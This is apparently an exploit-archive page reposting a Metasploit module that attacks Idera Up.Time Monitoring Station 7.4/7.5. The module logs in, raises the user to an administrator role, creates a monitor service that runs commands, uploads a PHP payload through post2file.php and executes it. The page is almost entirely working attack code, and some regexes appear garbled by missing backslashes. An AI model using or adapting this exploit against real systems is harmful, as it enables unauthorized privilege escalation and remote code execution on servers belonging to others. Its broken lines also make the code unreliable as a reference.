Home / os / winmobile

Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload Version 2

Posted on 14 November 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit4 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::PhpEXE

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload',
 'Description' => %q{
 This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0.

 The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php,
 which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated
 by the vendor.

 Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it
 can still be bypassed and gain privilege escalation, and allows the attacker to upload file
 again, and execute arbitrary commands.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Denis Andzakovic', # Found file upload bug in post2file.php in 2013
 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>',
 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>'
 ],
 'References' =>
 [
 ['EDB', '37888'],
 ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php']
 ],
 'Platform' => ['php'],
 'Arch' => ARCH_PHP,
 'Targets' => [['Automatic', {}]],
 'Privileged' => 'true',
 'DefaultTarget' => 0,
 # The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015,
 # it was discovered again by Ewerson 'Crash' Guimaraes.
 'DisclosureDate' => 'Nov 18 2013'
 ))

 register_options(
 [
 Opt::RPORT(9999),
 OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']),
 OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample'])
 ], self.class)

 register_advanced_options(
 [
 OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\Program Files\uptime software\']),
 OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']),
 OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\windows\system32\cmd.exe'])
 ], self.class)
 end

 def print_status(msg='')
 super("#{rhost}:#{rport} - #{msg}")
 end

 def print_error(msg='')
 super("#{rhost}:#{rport} - #{msg}")
 end

 def print_good(msg='')
 super("#{rhost}:#{rport} - #{msg}")
 end

 # Application Check
 def check
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path)
 )

 unless res
 vprint_error("Connection timed out.")
 return Exploit::CheckCode::Unknown
 end

 n = Nokogiri::HTML(res.body)
 uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]')

 if uptime_text
 version = uptime_text.text.scan(/up.time ([d.]+)/i).flatten.first
 vprint_status("Found version: #{version}")
 if version >= '7.4.0' && version <= '7.5.0'
 return Exploit::CheckCode::Appears
 end
 end

 Exploit::CheckCode::Safe
 end

 def create_exec_service(*args)
 cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args
 res_service = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'main.php'),
 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
 'vars_get' => {
 'section' => 'ERDCInstance',
 'subsection' => 'add',
 },
 'vars_post' => {
 'initialERDCId' => '20',
 'target' => '1',
 'targetType' => 'systemList',
 'systemList' => '1',
 'serviceGroupList' => '-10',
 'initialMode' => 'standard',
 'erdcName' => 'Exploit',
 'erdcInitialName' => '',
 'erdcDescription' => 'Exploit',
 'hostButton' => 'system',
 'erdc_id' => '20',
 'forceReload' => '0',
 'operation' => 'standard',
 'erdc_instance_id' => '',
 'label_[184]' => 'Script Name',
 'value_[184]' => cmd,
 'id_[184]' => 'process',
 'name_[process]' => '184',
 'units_[184]' => '',
 'guiBasic_[184]' => '1',
 'inputType_[184]' => 'GUIString',
 'screenOrder_[184]' => '1',
 'parmType_[184]' => '1',
 'label_[185]' => 'Arguments',
 'value_[185]' => cmdargs,
 'id_[185]' => 'args',
 'name_[args]' => '185',
 'units_[185]' => '',
 'guiBasic_[185]' => '1',
 'inputType_[185]' => 'GUIString',
 'screenOrder_[185]' => '2',
 'parmType_[185]' => '1',
 'label_[187]' => 'Output',
 'can_retain_[187]' => 'false',
 'comparisonWarn_[187]' => '-1',
 'comparison_[187]' => '-1',
 'id_[187]' => 'value_critical_output',
 'name_[output]' => '187',
 'units_[187]' => '',
 'guiBasic_[187]' => '1',
 'inputType_[187]' => 'GUIString',
 'screenOrder_[187]' => '4',
 'parmType_[187]' => '2',
 'label_[189]' => 'Response time',
 'can_retain_[189]' => 'false',
 'comparisonWarn_[189]' => '-1',
 'comparison_[189]' => '-1',
 'id_[189]' => 'value_critical_timer',
 'name_[timer]' => '189',
 'units_[189]' => 'ms',
 'guiBasic_[189]' => '0',
 'inputType_[189]' => 'GUIInteger',
 'screenOrder_[189]' => '6',
 'parmType_[189]' => '2',
 'timing_[erdc_instance_monitored]' => '1',
 'timing_[timeout]' => '60',
 'timing_[check_interval]' => '10',
 'timing_[recheck_interval]' => '1',
 'timing_[max_rechecks]' => '3',
 'alerting_[notification]' => '1',
 'alerting_[alert_interval]' => '120',
 'alerting_[alert_on_critical]' => '1',
 'alerting_[alert_on_warning]' => '1',
 'alerting_[alert_on_recovery]' => '1',
 'alerting_[alert_on_unknown]' => '1',
 'time_period_id' => '1',
 'pageFinish' => 'Finish',
 'pageContinue' => 'Continue...',
 'isWizard' => '1',
 'wizardPage' => '2',
 'wizardNumPages' => '2',
 'wizardTask' => 'pageFinish',
 'visitedPage[1]' => '1',
 'visitedPage[2]' => '1'
 })
 end

 def exploit
 vprint_status('Trying to login...')
 # Application Login
 res_auth = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'index.php'),
 'vars_post' => {
 'username' => datastore['USERNAME'],
 'password' => datastore['PASSWORD']
 })

 unless res_auth
 fail_with(Failure::Unknown, 'Connection timed out while trying to login')
 end

 # Check OS
 phpfile_name = rand_text_alpha(10)
 if res_auth.headers['Server'] =~ /Unix/
 vprint_status('Found Linux installation - Setting appropriated PATH')
 phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph')
 uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards')

 cmdargs = "#{uploadpath}#{phpfile_name}.txt"
 cmd = phppath
 else
 vprint_status('Found Windows installation - Setting appropriated PATH')
 phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\php\php.exe')
 uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\GUI\wizards\')
 cmd = datastore['CmdPath']
 cmdargs = "/K ""#{phppath}" "#{uploadpath}#{phpfile_name}.txt"""
 end

 if res_auth.get_cookies =~ /login=true/
 cookie = Regexp.last_match(1)
 cookie_split = res_auth.get_cookies.split(';')
 vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
 print_good('Login success')

 # Privilege escalation getting user ID
 res_priv = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, 'main.php'),
 'vars_get' => {
 'page' => 'Users',
 'subPage' => 'UserContainer'
 },
 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
 )

 unless res_priv
 fail_with(Failure::Unknown, 'Connection timed out while getting userID.')
 end

 matchdata = res_priv.body.match(/UPTIME.CurrentUser.userId.*/)

 unless matchdata
 fail_with(Failure::Unknown, 'Unable to find userID for escalation')
 end

 get_id = matchdata[0].gsub(/[^d]/, '')
 vprint_status('Escalating privileges...')

 # Privilege escalation post
 res_priv_elev = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'main.php'),
 'vars_get' => {
 'section' => 'UserContainer',
 'subsection' => 'edit',
 'id' => "#{get_id}"
 },
 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
 'vars_post' => {
 'operation' => 'submit',
 'disableEditOfUsernameRoleGroup' => 'false',
 'username' => datastore['USERNAME'],
 'password' => datastore['PASSWORD'],
 'passwordConfirm' => datastore['PASSWORD'],
 'firstname' => rand_text_alpha(10),
 'lastname' => rand_text_alpha(10),
 'location' => '',
 'emailaddress' => '',
 'emailtimeperiodid' => '1',
 'phonenumber' => '',
 'phonenumbertimeperiodid' => '1',
 'windowshost' => '',
 'windowsworkgroup' => '',
 'windowspopuptimeperiodid' => '1',
 'landingpage' => 'MyPortal',
 'isonvacation' => '0',
 'receivealerts' => '0',
 'activexgraphs' => '0',
 'newuser' => 'on',
 'newuser' => '1',
 'userroleid' => '1',
 'usergroupid[]' => '1'
 }
 )

 unless res_priv_elev
 fail_with(Failure::Unknown, 'Connection timed out while escalating...')
 end

 # Refresing perms
 vprint_status('Refreshing perms...')
 res_priv = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'),
 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
 )

 unless res_priv
 fail_with(Failure::Unknown, 'Connection timed out while refreshing perms')
 end

 res_auth = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'index.php'),
 'vars_post' => {
 'username' => datastore['USERNAME'],
 'password' => datastore['PASSWORD']
 }
 )

 unless res_auth
 fail_with(Failure::Unknown, 'Connection timed out while authenticating...')
 end

 if res_auth.get_cookies =~ /login=true/
 cookie = Regexp.last_match(1)
 cookie_split = res_auth.get_cookies.split(';')
 vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
 print_good('Priv. Escalation success')
 end

 # CREATING Linux EXEC Service
 if res_auth.headers['Server'] =~ /Unix/
 vprint_status('Creating Linux Monitor Code exec...')
 create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)

 else
 # CREATING Windows EXEC Service#
 vprint_status('Creating Windows Monitor Code exec...')
 create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)
 end

 # Upload file
 vprint_status('Uploading file...')
 up_res = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'),
 'vars_post' => {
 'file_name' => "#{phpfile_name}.txt",
 'script' => payload.encoded
 }
 )

 unless up_res
 fail_with(Failure::Unknown, 'Connection timed out while uploading file.')
 end

 vprint_status('Checking Uploaded file...')
 res_up_check = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt")
 )

 if res_up_check && res_up_check.code == 200
 print_good("File found: #{phpfile_name}")
 else
 print_error('File not found')
 return
 end

 # Get Monitor ID

 vprint_status('Fetching Monitor ID...')
 res_mon_id = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'),
 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
 'vars_get' => {
 'query' => 'GET_SERVICE_PAGE_ERDC_LIST',
 'iDisplayStart' => '0',
 'iDisplayLength' => '10',
 'sSearch' => 'Exploit'
 }
 )

 unless res_mon_id
 fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID')
 end

 matchdata = res_mon_id.body.match(/id=?[^>]*>/)

 unless matchdata
 fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.')
 end

 mon_get_id = matchdata[0].gsub(/[^d]/, '')
 print_good("Monitor id aquired:#{mon_get_id}")
 # Executing monitor
 send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'main.php'),
 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
 'vars_post' => {
 'section' => 'RunERDCInstance',
 'subsection' => 'view',
 'id' => mon_get_id,
 'name' => 'Exploit'
 }
 )
 else
 print_error('Cookie not found')
 end
 end
end

 

TOP